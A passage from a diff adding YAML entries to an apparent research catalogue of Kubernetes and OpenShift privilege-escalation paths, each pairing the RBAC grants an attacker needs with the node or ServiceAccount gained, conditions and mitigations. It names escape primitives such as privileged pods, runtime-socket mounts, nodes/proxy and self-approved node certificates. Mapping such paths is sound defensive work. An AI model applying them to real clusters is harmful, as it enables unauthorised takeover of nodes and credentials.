pods/ephemeralcontainers subresource. + +- id: k8s-nodes-exec-into-host-privileged-pod + provider: k8s + service: nodes + title: Exec into an existing pod with a privileged container or escape capability + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/workload-and-pod-access.md#privileged-pod-and-hostpid-escape + source_revision: 171e422 + summary: The source can obtain the privileges of the nodes that run pods it can exec into whose containers are privileged or carry a node-escape capability. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running privileged pods of {pivot.namespace}" + conditions: + - id: cap_sys_admin_constrained_by_seccomp_apparmor + description: Added SYS_ADMIN (or ALL) without privileged mode is an escape only when seccomp/AppArmor/SELinux and the user namespace allow the needed mount or namespace-entry operation (cgroup v1 release_agent, a host device or a host PID to join). + - id: kernel_module_loading_restricted + description: SYS_MODULE needs the initial user namespace and a kernel without lockdown or mandatory module signing. + - id: open_by_handle_at_blocked_by_seccomp + description: DAC_READ_SEARCH reads host files through open_by_handle_at only when the syscall is allowed and a host file handle is reachable; it yields node credentials (read), not direct execution. + - id: ptrace_restricted_by_apparmor_or_yama + description: SYS_PTRACE with hostPID needs an attachable host process; the runtime AppArmor profile or Yama ptrace_scope may block it. + - id: target_container_selectable + description: The exec must target the container that holds the primitive (kubectl exec -c); init containers have usually exited, ephemeral containers stay running. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove pods/exec in namespaces that run privileged DaemonSets (kube-system, CNI, monitoring agents) and drop privileged mode and SYS_ADMIN/SYS_MODULE/SYS_PTRACE/DAC_READ_SEARCH from workloads that do not need them. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + - https://kubernetes.io/docs/concepts/security/linux-kernel-security-constraints/ + - https://man7.org/linux/man-pages/man7/capabilities.7.html + notes: Not blocked by PSA because the pod already exists. A privileged container (containers, initContainers or ephemeralContainers) matches as derived; added capabilities match conditionally (condition ids above). hostNetwork, hostIPC and hostPID alone do not match (hostNetwork is modelled as node cloud-identity reach in k8s-cloud-hostnetwork-pod-node-identity). Sensitive hostPath mounts are a separate entry (k8s-nodes-exec-into-host-mount-pod). Privileged DaemonSets (CNI, CSI, log agents) make this reach every node. The same applies to get pods/exec on clusters older than 1.35 (see k8s-workloads-pods-exec-get-websocket). + +- id: k8s-nodes-exec-into-host-mount-pod + provider: k8s + service: nodes + title: Exec into an existing pod that mounts a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/attacking-kubernetes-from-inside-a-pod.md#runtime-sockets-and-kernel-helper-paths + source_revision: 171e422 + summary: The source can obtain the privileges of the nodes that run pods it can exec into which mount a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: + - verb: create + resource: pods + subresource: exec + namespace: "{pivot.namespace}" + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "{pivot.namespace}" + scope: cluster + aggregate_as: "Nodes running host-mount pods of {pivot.namespace}" + conditions: + - id: node_credential_location_varies + description: A readOnly /etc or /etc/kubernetes mount exposes node or cluster credentials only where the distribution keeps them there (kubeadm kubelet.conf / control-plane admin.conf and PKI, k3s); managed node images often do not. + - id: host_write_needs_host_consumer + description: Writable /home, /var/lib/docker, /var/lib/containerd or /sys/fs/cgroup lead to host execution only if a host process later consumes the written file (SSH login, image layer, cgroup v1 release_agent). + - id: hostpath_subpath_narrows_mount + description: A subPath mount exposes only the named subdirectory of the hostPath volume. + - id: socket_usable_by_container_user + description: A runtime socket must be connectable by the container user (file mode, SELinux label); a readOnly mount does not prevent connecting. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not mount runtime sockets, /, /var/lib/kubelet, /etc or host binary directories into workloads; mount specific paths readOnly and restrict pods/exec in namespaces running such agents. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + - https://kubernetes.io/docs/concepts/security/pod-security-standards/ + notes: Derived matches are runtime sockets (docker, containerd, CRI-O, k3s, podman, buildkit) or any ancestor of them, readOnly mounts of / or of the kubelet credential paths (/var/lib/kubelet/pki, kubeconfig, pods), and writable mounts of host-executed paths (/etc cron/systemd/manifests/passwd, /root/.ssh, binary and library directories, /opt/cni/bin, /proc/sys/kernel/core_pattern, /sys/kernel/uevent_helper). Writable /var/log (kubelet log-symlink read) is not counted because it is kubelet-version dependent (see _excluded.yaml). Other hostPaths such as /etc/ssl/certs, /var/log or data directories do not match. + +- id: k8s-nodes-hostpath-persistentvolume + provider: k8s + service: nodes + title: Mount the node filesystem through a hostPath PersistentVolume + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/storage-and-networking.md#storage-control-objects + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by consuming a hostPath PersistentVolume it created, which Pod Security Admission does not inspect. + requires: + all_of: + - verb: create + resource: persistentvolumes + namespace: "*" + - verb: create + resource: persistentvolumeclaims + namespace: "{pivot.namespace}" + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: admission_blocks_hostpath_pv + description: Admission policies on PersistentVolume objects (e.g. Gatekeeper/Kyverno disallowing hostPath PVs) remove the edge. + - id: pv_binding_succeeds + description: The claim must bind to the created PV (storageClassName/selector match). + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Restrict persistentvolumes create to storage administrators and deny hostPath PersistentVolumes via admission. + references: + - https://kubernetes.io/docs/concepts/storage/volumes/#hostpath + notes: PSA restricted allows persistentVolumeClaim volumes regardless of backing PV type, so the PSA blocker does not apply. A writable host root mount is required for full node access (writing a root-level file such as a cron or kubelet static pod gives code exec as root); without privileged mode, node credentials are still readable from the mounted filesystem. + +- id: k8s-nodes-namespace-psa-relabel + provider: k8s + service: nodes + title: Relax a namespace's Pod Security labels and create host-privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by removing the PSA enforcement label of a namespace where it can create pods. + requires: + all_of: + - any_of: + - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "{pivot.namespace}"} + - {verb: create, resource: replicationcontrollers, namespace: "{pivot.namespace}"} + - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + any_of: + - - {verb: patch, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: patch, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: status, namespace: "*", resource_name: "{pivot.namespace}"} + - - {verb: update, resource: namespaces, subresource: finalize, namespace: "*", resource_name: "{pivot.namespace}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: other_admission_blocks_host_access + description: Non-PSA admission (policies protecting namespace labels or rejecting privileged pods) may remove the edge. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Do not grant namespace update/patch (or namespaces/status, namespaces/finalize) to tenants; protect pod-security.kubernetes.io labels with a ValidatingAdmissionPolicy. + references: + - https://kubernetes.io/docs/concepts/security/pod-security-admission/ + notes: HackTricks reproduced on v1.37 that namespaces/status and namespaces/finalize writes can change Namespace labels consumed by PSA. Namespaces are cluster-scoped, so the namespace grant must come from a ClusterRole/ClusterRoleBinding with resourceNames covering the pivot. + +- id: k8s-nodes-namespace-create-privileged-pod + provider: k8s + service: nodes + title: Create a new namespace and host-privileged pods in it + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-namespace-escalation.md#escape-to-the-node + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by creating a namespace without PSA enforcement and creating pods there. + requires: + all_of: + - verb: create + resource: namespaces + namespace: "*" + - any_of: + - {verb: create, resource: pods, namespace: "*"} + - {verb: create, resource: deployments, api_group: apps, namespace: "*"} + - {verb: create, resource: daemonsets, api_group: apps, namespace: "*"} + - {verb: create, resource: statefulsets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicasets, api_group: apps, namespace: "*"} + - {verb: create, resource: replicationcontrollers, namespace: "*"} + - {verb: create, resource: jobs, api_group: batch, namespace: "*"} + - {verb: create, resource: cronjobs, api_group: batch, namespace: "*"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: psa_cluster_default_level + description: The PSA AdmissionConfiguration default (not collected) may enforce baseline/restricted on unlabeled namespaces; an admission policy may require PSA labels on new namespaces. + - id: other_admission_blocks_host_access + description: Non-PSA admission may reject privileged pods. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Restrict namespace creation; set a cluster-wide PSA default of baseline or restricted. + references: + - https://kubernetes.io/docs/tasks/configure-pod-container/enforce-standards-admission-controller/ + notes: Pods create must be effective in the newly created namespace, i.e. granted cluster-wide (a RoleBinding cannot pre-exist in a namespace that does not yet exist unless created by automation the source triggers). + +- id: k8s-nodes-nodes-proxy-pod-sas + provider: k8s + service: nodes + title: Use the kubelet API through nodes/proxy + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 171e422 + summary: The source can obtain the privileges of the ServiceAccounts of pods running on nodes covered by its nodes/proxy grant, by executing in those pods through the kubelet. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.node}"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_sa_used_by_running_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on proxied nodes in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server (Webhook mode, default in managed clusters) so the nodes/proxy grant is honored. + - id: get_only_needs_direct_kubelet + description: With only get, execution needs direct network reach to the kubelet port (WebSocket upgrade to the kubelet); the API-server proxy path maps exec to create. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove nodes/proxy from monitoring and other roles; use the fine-grained kubelet subresources (nodes/metrics, nodes/stats, nodes/log) instead. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: "{target.node} = the node hosting the target pod. Bypasses API-server audit for pods/exec. Executing into privileged pods on those nodes also reaches the node (k8s-nodes-nodes-proxy-node)." + +- id: k8s-nodes-nodes-proxy-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in privileged pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodesproxy-get---kubelet-exec-via-websocket-verb-confusion + source_revision: 171e422 + summary: The source can obtain the privileges of covered nodes that run at least one pod with a privileged container or node-escape capability. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_privileged_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running privileged pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove nodes/proxy from non-admin roles. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Clusters running privileged DaemonSets (CNI, CSI, kube-proxy) make every node reachable. Uses the same pod classification as k8s-nodes-exec-into-host-privileged-pod (added capabilities are conditional); sensitive hostPath pods are covered by k8s-nodes-nodes-proxy-host-mount-node. + +- id: k8s-nodes-nodes-proxy-host-mount-node + provider: k8s + service: nodes + title: Use nodes/proxy to execute in pods mounting a runtime socket or sensitive host path + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-proxy + source_revision: 171e422 + summary: The source can obtain the privileges of covered nodes that run at least one pod mounting a container runtime socket, node credential files, or a host-executed path writable. + requires: + all_of: [] + any_of: + - - {verb: create, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + - - {verb: get, resource: nodes, subresource: proxy, namespace: "*", resource_name: "{target.name}"} + target: + kind: k8s_node + selector: + k8s_node_hosting_host_mount_pod_in_namespace: "*" + scope: cluster + aggregate_as: "Proxied nodes running host-mount pods in {cluster}" + conditions: + - id: kubelet_webhook_authorization + description: The kubelet must authorize via the API server. + - id: get_only_needs_direct_kubelet + description: With only get, direct network reach to the kubelet port is required. + blockers: [] + confidence: derived + severity: critical + mitigation: Remove nodes/proxy from non-admin roles and avoid runtime-socket or host-root mounts in node agents. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-authn-authz/ + notes: Same hostPath classification and conditions as k8s-nodes-exec-into-host-mount-pod. + +- id: k8s-nodes-csr-kubelet-client-signer + provider: k8s + service: certificates + title: Issue and approve a node client certificate + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: a66f094ede + summary: The source can obtain the privileges of any node identity (system:node:) by self-approving a kube-apiserver-client-kubelet certificate. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + # Read the issued certificate back (status.certificate). + - any_of: + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: list, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: watch, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - any_of: + - {verb: update, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + - {verb: patch, resource: certificatesigningrequests, subresource: approval, api_group: certificates.k8s.io, namespace: "*"} + # The signer check also accepts the domain wildcard resourceName. + - any_of: + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/kube-apiserver-client-kubelet"} + - {verb: approve, resource: signers, api_group: certificates.k8s.io, namespace: "*", resource_name: "kubernetes.io/*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: kubelet_client_signer_enabled + description: The controller-manager must sign kubernetes.io/kube-apiserver-client-kubelet with the cluster CA (managed offerings may differ). + blockers: [] + confidence: derived + severity: high + mitigation: Restrict CSR approval and signer approve to the controller-manager and cluster administrators. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/certificate-signing-requests/#kubernetes-signers + notes: Per Kubernetes docs this signer only issues subjects with organization system:nodes and CN system:node:, so the reachable identities are nodes (not users or system:masters). NodeRestriction then limits each node identity to its own node's pods and objects. + +- id: k8s-nodes-csr-nodeclient-autoapprove + provider: k8s + service: certificates + title: Obtain an auto-approved node client certificate (bootstrap nodeclient) + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/rbac-and-identities.md#certificate-signing-requests + source_revision: 171e422 + summary: The source can obtain the privileges of any node identity by submitting a node client CSR that the controller-manager auto-approves. + requires: + all_of: + - {verb: create, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: get, resource: certificatesigningrequests, api_group: certificates.k8s.io, namespace: "*"} + - {verb: create, resource: certificatesigningrequests, subresource: nodeclient, api_group: certificates.k8s.io, namespace: "*"} + target: + kind: k8s_node + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "Nodes of {cluster}" + conditions: + - id: csrapproving_controller_enabled + description: The csrapproving controller of kube-controller-manager must be enabled (default with TLS bootstrapping); managed providers may use their own approvers. + blockers: [] + confidence: derived + severity: high + mitigation: Grant certificatesigningrequests/nodeclient only to system:bootstrappers with short-lived bootstrap tokens, and remove bootstrap tokens after node join. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/kubelet-tls-bootstrapping/#approval + notes: Based on the official TLS bootstrapping docs (HackTricks only mentions that node bootstrap signers have different checks). The nodeclient approval does not tie the requested node name to the requester, unlike selfnodeclient, which only renews the requester's own node certificate. + +- id: k8s-nodes-node-mint-pod-sa-tokens + provider: k8s + service: nodes + title: Node identity mints tokens for ServiceAccounts of its pods + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/kubernetes-pivoting-to-clouds.md#privesc-to-cluster-admin + source_revision: 171e422 + summary: A node identity can obtain the privileges of the ServiceAccounts used by pods scheduled on that node. + source_kind: k8s_node + requires: + all_of: [] + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "*" + k8s_node_hosting_pods_with_sa: true + scope: cluster + aggregate_as: "ServiceAccounts of pods on {source.name}" + conditions: [] + blockers: [] + confidence: derived + severity: high + mitigation: Keep privileged ServiceAccounts' pods off nodes that run untrusted workloads (taints, dedicated node pools) and minimize host-privileged pods. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + notes: The Node authorizer allows a node to create serviceaccounts/token only for ServiceAccounts referenced by pods bound to it (and to read their Secrets/ConfigMaps). With NodeRestriction this is limited to the node's own pods. HackTricks also covers reading those tokens from the node filesystem (attacking-kubernetes-from-inside-a-pod.md#steal-secrets). + +- id: k8s-nodes-control-plane-node + provider: k8s + service: nodes + title: Control-plane node compromise + source: src/pentesting-cloud/kubernetes-security/kubernetes-post-exploitation/node-post-exploitation.md#control-plane-node-artifacts + source_revision: 171e422 + summary: A control-plane node identity can obtain the privileges of cluster-admin from the API-server/etcd credentials stored on that node. + source_kind: k8s_node + source_selector: + k8s_node_role: control-plane + requires: + all_of: [] + target: + kind: k8s_cluster_admin + selector: + any_principal_in_scope: true + scope: cluster + aggregate_as: "cluster-admin of {cluster}" + conditions: + - id: self_managed_control_plane + description: Only self-managed clusters (kubeadm, OpenShift, k3s) have control-plane nodes; EKS/GKE/AKS control planes are not reachable as nodes. + blockers: [] + confidence: derived + severity: critical + mitigation: Taint control-plane nodes, block untrusted pods from tolerating the taint via admission, and protect /etc/kubernetes/pki and etcd. + references: + - https://kubernetes.io/docs/setup/best-practices/certificates/ + notes: Control-plane nodes hold the cluster CA key, admin kubeconfig and etcd client certificates. Identify control-plane nodes by the node-role.kubernetes.io/control-plane label. + +- id: k8s-nodes-replacement-pod-to-controlled-node + provider: k8s + service: nodes + title: Force a controller-managed pod onto a controlled node + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#delete-pods--unschedulable-nodes + source_revision: a66f094ede + summary: A source that already controls a node can obtain the privileges of ServiceAccounts of controller-managed pods in the namespace by forcing their replacements onto that node. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + # A NoExecute taint written through nodes patch/update both evicts the running pod and excludes competing nodes. + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + # Otherwise: one way to make the controller create a replacement, plus one way to exclude competing nodes. + - - any_of: + - {verb: delete, resource: pods, namespace: "{target.namespace}"} + - {verb: create, resource: pods, subresource: eviction, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, namespace: "{target.namespace}"} + - {verb: update, resource: pods, namespace: "{target.namespace}"} + - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + - any_of: + - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - {verb: delete, resource: nodes, namespace: "*"} + target: + kind: k8s_service_account + selector: + k8s_sa_in_namespace: "{target.namespace}" + k8s_sa_used_by_controller_managed_pod: true + scope: same_namespace + aggregate_as: "ServiceAccounts of controller-managed pods in {target.namespace}" + conditions: + - id: controlled_node_satisfies_pod_constraints + description: The node the source controls (enforced by source_reaches_kind k8s_node) must satisfy the replacement pod's scheduling constraints. + - id: not_a_node_credential + description: Default node credentials cannot do this (NodeRestriction limits deletes and status writes to their own node); the grants must belong to a non-node identity. + - id: pdb_blocks_eviction + description: A PodDisruptionBudget may block the eviction variant. + - id: replacement_trigger_accepted + description: A pods patch/update replacement works only by changing labels so the pod leaves its controller selector (the orphan keeps running); a pods/status write works only if the terminal phase is accepted and the controller replaces failed pods. + - id: every_competing_node_excluded + description: Every other node that satisfies the pod's constraints must be excluded (allocatable pods set to 0 via nodes/status, Node object deletion, or NoSchedule/NoExecute taint or cordon via nodes patch/update); kubelets restore status and re-register deleted Nodes, and tolerations or spec.nodeName defeat taints. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: medium + mitigation: Do not grant nodes, nodes/status, pods/status or Node delete permissions to non-node identities; use dedicated node pools with taints for privileged workloads. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/node/ + - https://kubernetes.io/docs/concepts/scheduling-eviction/taint-and-toleration/ + notes: Replacement triggers and exclusion methods follow HackTricks node-permissions-and-status.md#delete-pods--unschedulable-nodes and dosing-other-nodes.md#cause-a-replacement-pod / #taints-cordon-and-eviction (a66f094ede). Composite path; source_selector source_reaches_kind k8s_node keeps the edge only when the source is a node or a chain in the same run reaches one (then condition source_reaches_k8s_node_via_chain). Kubelets restore their reported capacity, so the window is timing dependent. + +- id: k8s-nodes-pods-binding-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Bind a pending pod to a controlled node with pods/binding + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: 171e422 + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending (unscheduled) pod by binding that pod to its node with pods/binding or the legacy bindings resource. + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, subresource: binding, namespace: "{target.namespace}"} + - - {verb: create, resource: bindings, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_still_pending_at_bind_time + description: The pod must still be unscheduled when the Binding is created; the scheduler may place it first. + - id: not_a_node_credential + description: Default node credentials cannot bind pods (NodeRestriction); the binding grant must belong to a non-node identity. + blockers: [admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: conditional + severity: high + mitigation: Grant pods/binding and bindings create only to the scheduler; keep privileged workloads on dedicated, tainted node pools. + references: + - https://kubernetes.io/docs/reference/kubernetes-api/cluster-resources/binding-v1/ + notes: HackTricks (171e422) states direct scheduling with create pods/binding or core bindings assigns an unscheduled pod to a node, bypassing the scheduler's placement decision; creating or modifying the pod is a separate permission. k8s_sa_used_by_pending_pod targets ServiceAccounts of collected pods with status.phase Pending and no spec.nodeName. The pod's token is then readable from the controlled node. + +- id: k8s-nodes-attract-pending-pod-to-controlled-node + provider: k8s + service: nodes + title: Attract a pending pod to a controlled node through node labels or status, or pod nomination + source: src/pentesting-cloud/kubernetes-security/kubernetes-privilege-escalation/node-permissions-and-status.md#nodes-and-pods-status + source_revision: a66f094ede + summary: A source that already controls a node can obtain the privileges of the ServiceAccount of a pending pod by making that node the scheduler's choice (adding the label the pod's nodeSelector requires, forging capacity, or setting the pod's nominated node). + source_selector: + source_reaches_kind: k8s_node + requires: + all_of: [] + any_of: + - - {verb: patch, resource: nodes, subresource: status, namespace: "*"} + - - {verb: update, resource: nodes, subresource: status, namespace: "*"} + - - {verb: patch, resource: nodes, namespace: "*"} + - - {verb: update, resource: nodes, namespace: "*"} + - - {verb: patch, resource: pods, subresource: status, namespace: "{target.namespace}"} + - - {verb: update, resource: pods, subresource: status, namespace: "{target.namespace}"} + target: + kind: k8s_service_account + selector: + k8s_sa_used_by_pending_pod: true + scope: cluster + aggregate_as: "ServiceAccounts of pending pods in {cluster}" + conditions: + - id: pod_pending_for_missing_placement + description: The pod must be pending because no node satisfies its nodeSelector/affinity or capacity needs (or, for nominatedNodeName, because scoring prefers another node); the label or forged status must make the controlled node feasible before another node becomes so. + - id: hard_filters_still_apply + description: Taints, tolerations, resource requests and admission still apply; pods/status nomination does not bypass hard filters. + - id: kubelet_reconciles_status + description: Kubelets restore forged nodes/status capacity and conditions; labels added through /status persist on legacy strategies. + - id: not_a_node_credential + description: Default node credentials cannot label or status-patch other objects freely (NodeRestriction); the grants must belong to a non-node identity. + blockers: [] + confidence: conditional + severity: high + mitigation: Do not grant nodes, nodes/status or pods/status writes to non-node identities; place sensitive workloads on node pools selected by labels under the node-restriction.kubernetes.io/ prefix, which kubelets cannot self-assign. + references: + - https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/#noderestriction + notes: HackTricks (a66f094ede) reproduced a non-node identity adding a scheduling label through nodes/status that scheduled a pending nodeSelector pod onto the node, forged capacity/image status attracting eligible pods, and pods/status nominatedNodeName selecting a feasible attacker node. The scheduler (not admission) places the pod, so no admission blocker applies. Complements k8s-nodes-pods-binding-pending-pod-to-controlled-node (direct binding). diff --git a/src/privilege-escalation-paths-research/k8s/openshift.yaml b/src/privilege-escalation-paths-research/k8s/openshift.yaml new file mode 100644 index 0000000000..22347efe5b --- /dev/null +++ b/src/privilege-escalation-paths-research/k8s/openshift.yaml @@ -0,0 +1,341 @@ +# OpenShift-specific techniques (SCC, privileged projects, run-level label, Tekton); each needs the +# k8s_openshift_cluster precondition. The dangling ServiceAccount reference lives in rbac.yaml. +# Conventions: see header of rbac.yaml. "Host SCC" = an SCC that allows privileged containers or +# host directory volumes / host PID (default: privileged, hostaccess, hostmount-anyuid, +# node-exporter); custom SCCs with allowPrivilegedContainer or allowHostDirVolumePlugin qualify. +# Source: hacktricks-cloud rev a53b46392c, re-verified against 171e422. + +- id: k8s-openshift-scc-use-host-scc + provider: k8s + service: openshift + title: Use a host-access SCC and create pods + source: src/pentesting-cloud/openshift-pentesting/openshift-scc.md#use-scc + source_revision: 171e422 + summary: The source can obtain the privileges of schedulable nodes by creating pods admitted under a host-access SCC it may use. + requires: + all_of: + - verb: create + resource: pods + namespace: "{pivot.namespace}" + any_of: + - - {verb: use, resource: securitycontextconstraints, api_group: security.openshift.io, namespace: "{pivot.namespace}", resource_name: privileged} + - - {verb: use, resource: securitycontextconstraints, api_group: security.openshift.io, namespace: "{pivot.namespace}", resource_name: hostaccess} + - - {verb: use, resource: securitycontextconstraints, api_group: security.openshift.io, namespace: "{pivot.namespace}", resource_name: hostmount-anyuid} + - - {verb: use, resource: securitycontextconstraints, api_group: security.openshift.io, namespace: "{pivot.namespace}", resource_name: node-exporter} + - - {verb: use, resource: securitycontextconstraints, api_group: security.openshift.io, namespace: "{pivot.namespace}", resource_name: "{host_scc}"} + target: + kind: k8s_node + selector: + k8s_node_schedulable: true + scope: cluster + aggregate_as: "Schedulable nodes of {cluster}" + conditions: + - id: scc_direct_users_groups + description: SCC access granted to the source user directly through the SCC object's users/groups fields (not RBAC) is collected but not evaluated by this entry's RBAC use requirement. + - id: other_admission_blocks_host_access + description: Other admission policies may still reject the pod. + preconditions: [k8s_openshift_cluster] + blockers: [pod_security_admission, admission_policy, admission_webhook, kyverno_policy, gatekeeper_constraint] + confidence: derived + severity: critical + mitigation: Grant use on privileged/host SCCs only to platform ServiceAccounts; never to users, groups or system:authenticated. + references: + - https://docs.redhat.com/en/documentation/openshift_container_platform/4.22/html/authentication_and_authorization/managing-pod-security-policies + notes: SCC admission checks the requesting user and the pod's ServiceAccount; this entry is the user path. node-exporter allows host PID/network and hostPath; "{host_scc}" = any custom SCC the evaluator classifies as host-access. The pod creation must happen directly by the source (pods create), not via a controller, for the user's own SCC grant to apply. + +- id: k8s-openshift-scc-via-namespace-sa + provider: k8s + service: openshift + title: Create pods as a ServiceAccount that may use a host-access SCC + source: src/pentesting-cloud/openshift-pentesting/openshift-scc.md#use-scc + source_revision: a66f094ede + summary: The source can obtain the privileges of schedulable nodes by creating pods (or controllers) as a ServiceAccount of the namespace that may use a host-access SCC. + requires: + all_of: [] + any_of: + - - {verb: create, resource: pods, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deployments, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: daemonsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: statefulsets, api_group: apps, namespace: "{pivot.namespace}"} + - - {verb: create, resource: jobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: cronjobs, api_group: batch, namespace: "{pivot.namespace}"} + - - {verb: create, resource: deploymentconfigs, 